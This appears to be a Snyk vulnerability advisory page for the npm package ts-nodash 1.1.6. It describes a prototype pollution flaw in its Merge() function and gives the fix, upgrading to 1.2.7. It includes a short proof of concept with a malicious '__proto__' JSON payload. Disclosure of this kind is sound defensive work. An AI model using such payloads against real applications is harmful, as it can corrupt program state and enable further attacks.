ts-nodash@1.1.6 vulnerabilities

Provides object manipulation tools.

Direct Vulnerabilities

Known vulnerabilities in the ts-nodash package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

ts-nodash is a Provides object manipulation tools.

Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function due to lack of validation input.

PoC

const nodash = require("ts-nodash");
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
nodash.Merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

Upgrade ts-nodash to version 1.2.7 or higher.

<1.2.7